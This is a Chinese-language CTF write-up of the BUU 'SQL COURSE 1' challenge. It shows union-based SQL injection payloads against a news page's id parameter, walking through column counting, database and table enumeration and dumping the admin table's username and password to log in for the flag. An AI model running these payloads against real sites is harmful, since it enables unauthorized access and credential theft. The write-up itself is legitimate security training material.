BUU SQL COURSE 1 sql注入

这里分析,存在两个分析点

登录界面和新闻界面

这里可以先试一下登陆界面是否存在sql注入,但是经过测试不存在,可以通过通用的sql注入语句测试,从而分析到主要点不在登录,那就可能是新闻页面的,我们在点击新闻的时候,这里后面的代码处理是直接在数据库中进行搜索呈现,可以看到存在?id的形式

这里是直接拼接id,有回显,通过sql语句进行拼接id,因此这里就可以构造payload,通过访问地址进行查询他的数据库信息,因此就可以进行接下来的操作

探测数据表的列数

复制代码
?id=1 order by 2

存在两列

复制代码
?id=1 order by 3

不存在三列

查询数据库核心信息

复制代码
?id=-1 union select database(),2 

查看数据库信息

数据库信息为news

查询数据库里的所有表名

复制代码
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

存在两个数据表,包含admin和contents

进行查询admin的属性后查询属性值

复制代码
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'

查询账号密码

复制代码
?id=-1 union select username,password from admin

得到admin账号密码

最后登录获得flag

相关推荐
明志数科19 分钟前
宇树科技IPO背后的产业逻辑:人形机器人从“讲故事“到“交数据“
运维·服务器·数据库
淼澄研学21 分钟前
基于RAG与Milvus向量数据库的搜题长尾问题检索实操教程
数据库·milvus
Dovis(誓平步青云)25 分钟前
DevEco Studio 6.1.1 Windows 安装实录:从下载校验到首次启动
android·开发语言·数据库·人工智能·windows·harmonyos
Data_Journal34 分钟前
什么是 CAPTCHA,它是如何工作的?
java·大数据·服务器·前端·数据库
霸道流氓气质1 小时前
Redis Pub/Sub — 概念、原理、场景与代码示例
数据库·redis·缓存
李高钢1 小时前
C# WPF Prism 进阶(二):区域(Region)与模块化(Module)
java·前端·数据库
long3161 小时前
枚举(Enums)
java·开发语言·数据库
TJHHH.1 小时前
SQL注入学习总结
数据库·笔记·sql·学习·注入
其实防守也摸鱼2 小时前
红队技能总结导图:从入门到精通的完整知识体系
开发语言·人工智能·学习·安全·web安全
ACP广源盛139246256733 小时前
Qwen3.8‑2.4T 开源落地@ACP#国产 MoE 大模型私有化部署中 MST 多屏转换芯片 GSV2231 硬件价值与应用场景
大数据·数据库·人工智能·嵌入式硬件